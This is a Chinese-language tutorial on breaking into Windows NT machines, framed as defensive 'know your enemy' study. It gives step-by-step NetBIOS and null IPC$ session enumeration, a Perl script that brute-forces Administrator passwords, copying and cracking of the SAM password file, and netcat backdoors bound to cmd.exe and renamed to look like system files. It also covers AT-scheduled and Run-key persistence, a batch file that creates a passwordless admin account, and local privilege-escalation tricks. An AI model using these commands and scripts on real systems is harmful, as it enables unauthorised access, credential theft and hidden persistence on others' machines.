如果要防范從遠程對你的Windows NT的入侵,最好的辦法還是研究一下入侵的基本方法。只有做到“知己知彼”,才能更好地防范入侵。
第一節 通過NetBIOS入侵
所有的入侵都涉及到以root或admin權限登錄到某一計算機或網絡。入侵的第一步往往是對目標計算機或的端口掃描(portscan)。建立在目標計算機開放端口上的攻擊是相當有效的。NT機器的端口信息的顯示和UNIX的不同。因此,一般能區分出目標計算機所運行的是哪個操作系統。
攻擊NT為基礎的網絡時,NetBIOS是首選的進攻點。
使用端口掃描軟件,比如Sam,看看目標計算機的端口139是否打開。139端口是"NetBIOS session"端口,用來進行文件和打印共享的,是NT潛在的危險。注意:運行SAMBA的Linux和UNIX系統的139端口也是打開的,提供類似的文件共享。找到了這樣的目標計算機后,接下來是使用"nbtstat"命令。
NBTSTAT命令是用來詢問有關NetBIOS的信息的,也能清除NetBIOS 緩沖區能的內容和將LMHOSTS文件預先裝入其中。通過運行這一命令能得到許多有用信息。
NBTSTAT命令解釋:
nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]開關: -a 列出給定主機名的遠程計算機的名字表(name table) -A 列出給定IP地址的遠程計算機的名字表 -c 列出遠程名字緩沖區(name cache),包括IP地址 -n 列出本地NetBIOS 名字 -r 列出通過廣播(broadcast)和WINS解析的名字
-R 清除和重新裝入遠程的緩沖的名字表
-S 列出和目標IP地址會話的表
-s 列出會話表轉換
NBTSTAT命令的輸出的每一欄都有不同的含義,它們的標題有下面幾個,含義也在下面做了相應的解釋:
Input
接收到的字節數。
Output
發送的字節數。
In/Out 這個連接是來自該計算機(outbound)還是來自另外的系統(inbound)。
Life
在你的計算機清除名字表之前存在時間。
Local Name
連接時本地的名字。
Remote Host
遠程計算機的名字或IP地址。
Type
一個名字可以有兩種類型: unique 或group。
NetBIOS名字的最后16個字符經常代表一些內容。因為同樣的名字可以在同一計算機出現幾次。 該類型表示名字的最后一個字節(用16進制表示)。
State
你的NetBIOS連接將是下面幾個狀態之一:
State MeaningAccepting 正在處理一個進入的連接Associated 一個連接的端點已經建立,你的計算機與它以一個IP地址相關Connected 你已經聯系到了遠程資源。Connecting 你的會話正試圖對目標資源進行名字到IP地址的解析Disconnected 你的計算機發出一個斷開請求,正在等待遠程計算機的響應Disconnecting 正在結束你的連接
Idle 遠程計算機在當前會話已經打開,但目前不接受連接
Inbound 一個inbound會話正試圖連接
Listening 遠程計算機可以使用了
Outbound 你的會話正在建立一個TCP 連接
Reconnecting 如果第一次失敗,它會在重新連接時顯示這一信息下面是一個NBTSTAT命令的實例:
C:\>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table
Name Type Status
----------------------------------------------------------------------
DATARAT < 00> UNIQUE Registered
R9LABS < 00> GROUP Registered
DATARAT < 20> UNIQUE Registered
DATARAT < 03> UNIQUE Registered
GHOST < 03> UNIQUE Registered
DATARAT < 01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
上面的輸出是什么意思呢?尤其是Type這一欄,代表的是什么呢。再看看下面的表,它能告訴你什么?
Name Number Type Usage=====================================================< computername> 00 U Workstation Service< computername> 01 U Messenger Service< \\_MSBROWSE_> 01 G Master Browser< computername> 03 U Messenger Service
< computername> 06 U RAS Server Service
< computername> 1F U NetDDE Service
< computername> 20 U File Server Service
< computername> 21 U RAS Client Service
< computername> 22 U Exchange Interchange
< computername> 23 U Exchange Store
< computername> 24 U Exchange Directory
< computername> 30 U Modem Sharing Server Service
< computername> 31 U Modem Sharing Client Service
< computername> 43 U SMS Client Remote Control
< computername> 44 U SMS Admin Remote Control Tool
< computername> 45 U SMS Client Remote Chat
< computername> 46 U SMS Client Remote Transfer
< computername> 4C U DEC Pathworks TCPIP Service
< computername> 52 U DEC Pathworks TCPIP Service
< computername> 87 U Exchange MTA
< computername> 6A U Exchange IMC
< computername> BE U Network Monitor Agent
< computername> BF U Network Monitor Apps
< username> 03 U Messenger Service
< domain> 00 G Domain Name
< domain> 1B U Domain Master Browser
< domain> 1C G Domain Controllers
< domain> 1D U Master Browser
< domain> 1E G Browser Service Elections
< INet~Services> 1C G Internet Information Server
< IS~Computer_name> 00 U Internet Information Server
< computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): 名字(name )可能只分配了一個IP地址。在一個網絡設備上,多次出現一個名字已經被注冊,但后綴是唯一的,從而整個條目就是唯一的。
Group (G): 普通的組(group),同一個名字可能存在多個IP地址。Multihomed (M): 名字(name)是唯一的,但由于在同一計算機上有多個網絡接口,這個配置在允許注冊時是必須的。地址的數目最多25個。Internet Group (I): 這是組名字的一個特殊配置,用于WinNT的域名的管理。Domain Name (D): NT 4.0里新增的。
這個表是對NBTSTAT輸出中Type的解釋。通過詳細分析NBTSTAT命令的輸出,就能收集到目標計算機的許多信息。通過分析,就能發現目標計算機正在運行什么服務,甚至可以分析安裝的軟件包是什么。從而就能找到空隙可以利用。下一步就是從遠程計算機收集可能的用戶名。一個網絡登錄分成兩個部分:用戶名和口令。一旦一個入侵者知道了用戶名,他就等于成功了一半。
通過分析NBTSTAT的命令輸出,入侵者就能得到任何登錄到那臺計算機上的用戶名。在NBTSTAT輸出里,類型(Type)為< 03>的就是用戶名或計算機名。類型(Type)為< 20>的就表示它是一個共享的資源。
IPC$(Inter-Process Communication)共享是NT計算機上的一個標準的隱含共享,它是用于服務器之間的通信的。NT計算機通過使用這個共享來和其他的計算機連接得到不同類型的信息的。入侵者常常利用這一點來,通過使用空的IPC會話進行攻擊。
有一個一個比較好的IPC會話工具:RedButton。 它是個很靈巧的程序,能登錄到NT系統而不會顯示用戶名和口令。這個工具運行環境是NT。運行這個程序,將看到任何可能的共享,包括任何隱藏的admin共享(ie, shares以"$"結束。默認的,有幾個這樣的可以得到的共享...C$,WINNT$,IPC$等等)。
注意:IPC$共享不是一個目錄,磁盤或打印機意義上的共享。你看到的"$",它是默認的在系統啟動時的admin共享。IPC是指"interprocess communications"。IPC$共享提供了登錄到系統的能力。注意,你試圖通過IPC$連接會在EventLog中留下記錄。不管你是否登錄成功。
入侵者使用下面的命令對IPC$實施攻擊:
c:\>net use \\[目標機器的IP地址]\ipc$ /user:< name> < passwd>
當這個連接建立后,要將username和password送去加以確認。如果你以"Administrator"登錄,則需要進行口令猜測。
可以重復使用@#net@#命令,進行username和password猜測:
c:\>net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd>
也可以使用腳本語句:
open(IPC, "net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd> | ");
NAT工具能自動完成上述功能。NAT是通過讀取字典文件中的口令,進行重復登錄,從而獲取帳號。當然,可以編寫一個腳本來實現NAT的功能。
Perl是一種很好的語言,是解釋性的,如Java,但運行速度比Java快。同時,Unix系統能解釋它?,F在,95和NT版的Perl也已經推出。
下面這個腳本程序可以用來進行帳號和口令猜測。
----- begin script -----
# ipcchk.plx
# 該腳本從一個文本文件讀入單詞,并將該單詞作為用戶名和口令,進行
# IPC$連接。成功的連接保存到一個log文件。該腳本不檢查輸入參數的
# 有效性,因此必須輸入目標機器的合法的IP地址。
#
# 用法: c:\>perl ipcchk.plx [目標機器的IP地址]
open(TEST, "names.txt") || die "Could not open file.";
open(LOG,">>ipc.log") || die "Could not open log.";
if (length($ARGV[0]) == 0) {
print "Usage: perl ipcchk.plx [ipaddr]";
exit(0);
}
$server = ARGV[0];
while(< TEST>) {
$name = $_;
chop($name);
# print "net use \\\\$server\\ipc\$ /user:Administrator $name | \n";
open(IPC, "net use \\\\$server\\ipc\$ /user:Administrator $name | ");
while(< IPC>) {
if (grep(/successfully/,$_)) {
print LOG "$server accepts connections for password $name\n";
# delete a successful connection to avoid multiple connections to
# the same machine
open(DEL, "net use \\\\$server\\ipc\$ /d | ");
}
}
----- end script -----
當然,你只要知道原理,可以用C語言或BASIC語言,編寫一個具有上述功能的程序。
一旦進入,就不僅僅是能夠收集用戶名了。還能做許多其他事情。
接下來,入侵者會試圖看看目標計算機上有那些共享的資源可以利用??梢允褂孟旅嬉粋€命令:
c:\>net view \\[目標計算機的IP地址]
根據目標計算機的安全策略,這個命令有可能被拒絕??纯聪旅娴睦樱?BR>C:\>net view \\0.0.0.0System error 5 has occurred.Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""The command completed successfully.C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
該命令順利地完成了。
從上面的例子可見,直到空IPC會話成功建立后,服務器的共享資源列表才能訪問到。在此時,你可能會想到,這樣的IPC連接會有多危險呢,但目前為止我們的有關IPC的知識還是很基本的。我們僅僅開始研究IPC共享的可能性。
如果有其它共享資源,可以用net命令進行連接。
c:\>net use x: \\[ipaddr]\[share]
如果不行,用上述進行的攻擊方法。
一旦IPC$共享順利完成,下一個命令是:
c:\>net use g: \\xxx.xxx.xxx.xxx\c$
得到了C$共享,并將該目錄映射到g:,鍵入:
c:\>dir g: /p
就能顯示這個目錄的所有內容。
成功地進行了IPC$連接后,點擊Start -> Run,鍵入regedit。選擇Registry -> Connect Network Registry,再鍵入那臺機器的IP地址。不一會,就能看目標計算機的的Registry了。
第二節 口令破解
如果入侵者進入了一個系統,他就可以干好幾件事,比如進行密碼破解。下面看一下在NT系統下是如何進行的。NT將用戶的口令放在SAM(Security Accounts Manager)文件中,但通常不能對這個文件進行存取。
不過,在c:\winnt\repair目錄下,有一個文件叫做SAM._。這是SAM數據庫的壓縮版本。它是在系統安裝時建立的,用rdisk工具運行更新。普通用戶有讀它的權限。一旦入侵者能和目標計算機進行C$共享連接,他就能拷貝到這個文件:
c:\>copy g:\winnt\repair\sam._
下面做個實驗。先用User Manager創建幾個容易猜的口令的帳號,并運行:
c:\>rdisk /s
作完之后,進入c:\winnt\repair目錄,將SAM._拷貝到另一個目錄。并鍵入:
c:\temp>expand SAM._ sam
然后,使用一個叫SAMDump的工具。SAMDump會將這個文件轉換成你能使用的格式。
c:\temp>samdump sam > samfile
接下來就可以運行口令NT密碼破解器,如l0phtcrack或NTCrack 。只要有足夠的時間,剛才創建的幾個口令就會被破解出來。
一旦闖進了目標系統,入侵者就能在這臺計算機上留后門,以便日后進入。
第三節 后門
入侵者在闖入目標計算機后,往往會留后門,以便日后再方便地回到目標計算機上。
netcat是一個命令行工具,有幾個運行開關,用來設置它的操作。如果設置得好的話,是不錯的一個后門的選擇。
可以配置成批處理文件。
nc -L -d -p [port] -t -e cmd.exe
L 讓netcat在當前會話結束后保持偵聽
d 運行時不打開一個windows的DOS窗口
p 捆綁的端口
t 允許telnet交互
e 連接后的操作
將這個命令行拷貝到一個文件,命名為runnc.bat。然后,將netcat和這個文件拷貝到目標計算機PATH變量中的任何一個目錄中。比如c:\winnt\system32\。
另外一個小技巧是重新命名netcat(nc.exe)為其它的名字,看上去讓人以為這是NT自身的文件,比如winlog.exe,在runnc.bat中只需做相應改動即可。
一旦這個批處理文件運行了,也就是說,netcat程序在目標計算機上運行后,netcat會在某一個端口偵聽。入侵者就可以通過Telnet進行連接,從而通過執行cmd.exe,就能在遠程運行目標計算機上的命令了。
或者使用客戶狀態模式的netcat:
c:\>nc -v [ipaddress of target] [port]
如果是在目標計算機上的NT沒有運行telnet服務器,可以使用另一個更好的服務,叫做Schedule (或AT)服務,用于計劃以后運行程序的時間。怎樣知道是否已經運行了AT服務器了?在控制面板的服務(Control Panel -> Services)里找找,看看它的運行狀態。
如果安裝了Perl,可以運行下面這個腳本。
----- begin script -----
# atchk.plx
# 該腳本用來檢查本地服務器是否正在運行AT服務。如果沒有,啟動
# 這個服務。對這個腳本做寫小改動,就可以應用到對遠程計算機的檢
# 查。只要已經成功建立了IPC$連接并有administrator權限即可。
#
# 用法: perl atchck.plx
use Win32::Service;
use Win32;
my %status;
Win32::Service::GetStatus(@#@#,@#Schedule@#, \%status);
die "service is arealdy started\n" if ($status{CurrentState} == 4);
Win32::Service::StartService(Win32::NodeName( ),@#Schedule@#) || die
"Can@#t start service\n";
print "Service started\n";
#**Note: This script was modified from:
#http://www.inforoute.cgs.fr/leberre1/perlser.htm
----- end script -----
入侵者只要擁有管理員級權限,就能運行AT命令。運行AT服務后,可以通過AT命令來執行一些操作。
AT的語法:
AT [\\computername] [time] "command"
比如:
AT [\\computername] [time] runnc.bat
可以在目標計算機的NT系統的注冊表的以下registry主鍵中設置相關的鍵值,從而在用戶登錄后能自動運行鍵值所指向的程序。。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
還可以使用NT命令創建一個新的用戶帳號,并將它設置為管理員級別的權限。如下面的批處理文件所示。
----- begin batch file -----
@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin
net localgroup "Users" /del Admin
----- end batch file -----
還有就是運行一些特洛伊程序,給入侵者留后門。有一個叫Netbus程序。它的功能與Back Orifice類似,不過可以在NT運行。一旦入侵者使用了這個程序后,就可以在任何時候,任何地點,對這臺目標計算機進行幾乎是隨心所欲的操作。
第四節 本地攻擊
以上講的是外部入侵者對目標計算機進行的攻擊。其實,攻擊往往可以是來自內部的。如果入侵者有本地NT計算機的使用權限,即使是一個普通權限的用戶,都可以用一些工具來攻擊本地的機器,從而得到一定收獲。比如提高自己的權限,越權使用本地機器的資源等等。
一個比較常用的工具是getadmin。這個工具由一個可運行文件和一個.dll文件組成。通過運行,能將用戶加到Administrator組。微軟已經有了對這個缺陷的補丁程序。
另一個類似的是sechole.exe,運行后,增加了一個有管理員權限的用戶。這些程序都只需在普通權限下運行。
還有一個技巧是進行注冊表設置,設置使用哪個默認的調試器debugger。在一個用戶模式的程序沖突時,這個調試器就會運行。通常的設置是:
Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
Value: Debugger
Data Type: REG_SZ
Default Value: drwtsn32 -p %ld -e %ld -g
所有的人都有權限來設置這個值,從而給入侵者一個機會。調式器在沖突的程序的安全上下文中運行。因此,所有你要做的就是改變默認值,用來指向User Manager,然后讓其中的一個服務沖突。這就取得了User Manager運行權。隨后,入侵者就能增減帳號了。
用rdisk /s命令用來備份注冊表。
另外,可以試圖使用NTFSDOS工具,該工具是一張可以啟動的DOS磁盤。以這張啟動盤啟動目標機器后,就能讀該機器上的NTFS分區內的所有內容。比如拷貝系統文件,包括SAM數據庫。
還有一個叫Systems Internals的工具,除了有上述功能外,允許對NTFS分區進行寫操作。
net命令注解
通過上面的介紹,可以發現net命令是相當強大的。下面對這一命令的使用做簡單的注解。具體使用時,請參見相應的幫助。
Net Accounts: 這個命令顯示當前的口令的一些設置,登錄的限定和域的信息。包括更新用戶帳號數據庫和修改口令及登錄需求的選項。
Net Computer: 在域數據庫里增加或刪除計算機。Net Config Server 或 Net Config Workstation: 顯示服務器服務的配置信息。如果沒有指定Server或者Workstation,這個命令顯示可以配置的服務的列表。
Net Continue: 重新激活被NET PAUSE命令掛起的NT服務。
Net File: 這個命令列出一個服務器上打開的文件。有一個關閉共享文件和解除文件鎖定的選項。
Net Group: 顯示組的名字的相關信息,并有一個選項,可以在服務器里增加或修改global組。
Net Help: 得到這些命令的幫助Net Helpmsg message#: 得到一個指定的net error或功能消息(function message)的幫助。Net Localgroup:列出服務器上的本地組(local group),可以修改這些組。Net Name: 顯示發往的計算機的名字和用戶。Net Pause: 將某個NT服務掛起。
Net Print: 顯示打印任務和共享隊列。
Net Send: 給其他用戶,計算機發送消息或在網絡上的消息名字。
Net Session: 顯示當前會話的信息。還包含一個終止當前會話的命令。
Net Share: 列出一個計算機上的所有共享資源的信息。這個命令也可以用來創建共享資源。
Net Statistics Server 或 Workstation: 顯示統計記錄。
Net Stop: 停止 NT 的服務,取消任何正在使用的連接。停止一個服務有可能會停止其他服務。
Net Time: 顯示或設置一個計算機或域的時間。
Net Use: 列出連接上的計算機,有連接或斷開共享資源的選項。
Net User: 列出計算機的用戶帳號,并有創建或修改帳號的選項。
Net View: 列出一臺計算機上的所有共享資源。包括netware服務。